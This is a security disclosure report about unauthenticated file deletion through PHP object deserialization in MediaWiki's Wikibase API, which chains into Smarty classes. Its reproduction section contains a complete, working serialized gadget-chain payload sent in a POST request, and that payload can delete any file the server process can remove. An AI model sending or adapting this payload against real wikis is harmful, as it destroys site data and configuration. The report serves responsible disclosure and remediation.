From a report to security@
Reporter: Marco Paciaroni Credit: bombobombone Title: Unauthenticated arbitrary file deletion through Wikibase serialized entity parsing Summary The public MediaWiki action=parse API accepts contentformat=application/vnd.php.serialized for Wikibase entities. Wikibase passes the request text to PHP unserialize() without disabling object construction. When Widgets is loaded, a public-property Smarty object graph reaches Smarty_Internal_CacheResource_File::releaseLock(), which calls unlink() on an attacker-controlled lock_id. Impact An unauthenticated remote caller can delete any file that the MediaWiki PHP process can unlink. This crosses the application-to-filesystem integrity boundary and can affect application, configuration, cache, or other service-account-readable files. The demonstrated chain does not claim RCE. Affected components MediaWiki 1.47.0-alpha, revision 228d5c2a83bc5ce54dc4df9928457c4343c60fe Wikibase Repository Widgets 1.7.1 or a version containing the demonstrated Smarty classes Reproduction 1. Check that the target exposes both required extensions: GET /api.php?action=query&meta=siteinfo&siprop=extensions&format=json The response should contain WikibaseRepository and Widgets. 2. Create a harmless marker at /tmp/mw-wikibase-smarty-delete.lock that the PHP service account can delete. 3. Send this unauthenticated request: POST /api.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded action=parse&title=Q1&contentmodel=wikibase-item&contentformat=application%2Fvnd.php.serialized&prop=text&format=json&text=a%3A1%3A%7Bi%3A0%3BO%3A24%3A%22Smarty_Internal_Template%22%3A2%3A%7Bs%3A6%3A%22smarty%22%3BO%3A6%3A%22Smarty%22%3A1%3A%7Bs%3A13%3A%22cache_locking%22%3Bb%3A1%3B%7Ds%3A6%3A%22cached%22%3BO%3A22%3A%22Smarty_Template_Cached%22%3A3%3A%7Bs%3A7%3A%22handler%22%3BO%3A34%3A%22Smarty_Internal_CacheResource_File%22%3A0%3A%7B%7Ds%3A7%3A%22lock_id%22%3Bs%3A35%3A%22%2Ftmp%2Fmw-wikibase-smarty-delete.lock%22%3Bs%3A9%3A%22is_locked%22%3Bb%3A1%3B%7D%7D%7D Expected result The API returns an entity-deserialization or parse error, but the marker is absent afterward. A scalar serialized-array control returns the normal deserialization error without deleting the marker. Root cause ApiParse.php accepts the caller-controlled content format and text; Wikibase EntityContentDataCodec.php calls unserialize() before validating the result; the Smarty destructor chain invokes releaseLock() and unlink($cached->lock_id). Suggested remediation Do not deserialize request-controlled PHP serialization. Prefer JSON. If legacy support is required, use unserialize() with allowed_classes=false and reject objects before entity processing.